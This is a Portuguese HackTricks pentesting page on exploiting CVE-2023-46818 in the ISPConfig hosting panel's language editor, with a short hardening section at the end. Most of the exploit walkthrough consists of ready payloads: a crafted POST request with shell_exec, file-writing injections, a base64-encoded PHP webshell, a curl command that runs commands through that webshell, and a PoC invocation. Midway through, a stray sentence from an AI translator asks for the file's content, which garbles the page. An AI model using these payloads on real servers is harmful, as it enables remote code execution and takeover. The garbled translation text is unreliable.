4.3 KiB
Raw Blame History

ISPConfig

{{#include ../../banners/hacktricks-training.md}}

Visão geral

ISPConfig é um painel de controle de hospedagem open-source. Versões antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando ativado para o superadministrador, permitia a injeção de código PHP arbitrário via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, elevação de privilégios.

Principais caminhos padrão:

  • A raiz web costuma estar em /var/www/ispconfig quando servida com php -S ou via Apache/nginx.
  • A UI de administração é acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário).

Dica: Se o painel estiver vinculado localmente (ex.: 127.0.0.1:8080), encaminhe-o:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Afetado(s): ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Pré-requisitos:
  • Faça login com a conta superadmin integrada admin (outros papéis não são afetados segundo o fornecedor)
  • O Language editor deve estar habilitado: admin_allow_langedit=yes em /usr/local/ispconfig/security/security_settings.ini
  • Impacto: Um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, alcançando RCE no contexto web

Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo.

Fluxo de exploração manual

  1. Abra/crie um arquivo de idioma para obter tokens CSRF

Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (csrf_id, csrf_key). Exemplo de caminho de requisição: /admin/language_edit.php.

  1. Injete PHP via records[] e salve

Envie um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Teste fora de banda (observar ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Escrever arquivos e drop a webshell

Use file_put_contents para criar um arquivo em um caminho acessível via web (por exemplo, admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Em seguida, escreva um webshell simples usando base64 para evitar caracteres inválidos no corpo do POST:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md que você quer que eu traduza para o português. Sem o conteúdo não consigo fazer a tradução.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Se o PHP for executado como root (por exemplo, via php -S 127.0.0.1:8080 iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o usuário do servidor web.

PoC em Python

Um exploit pronto para uso automatiza token handling e payload delivery:

Exemplo de execução:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Hardening

  • Atualize para 3.2.11p1 ou posterior
  • Desative o language editor a menos que seja estritamente necessário:
admin_allow_langedit=no
  • Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
  • Exija autenticação forte para a conta integrada admin

Referências

{{#include ../../banners/hacktricks-training.md}}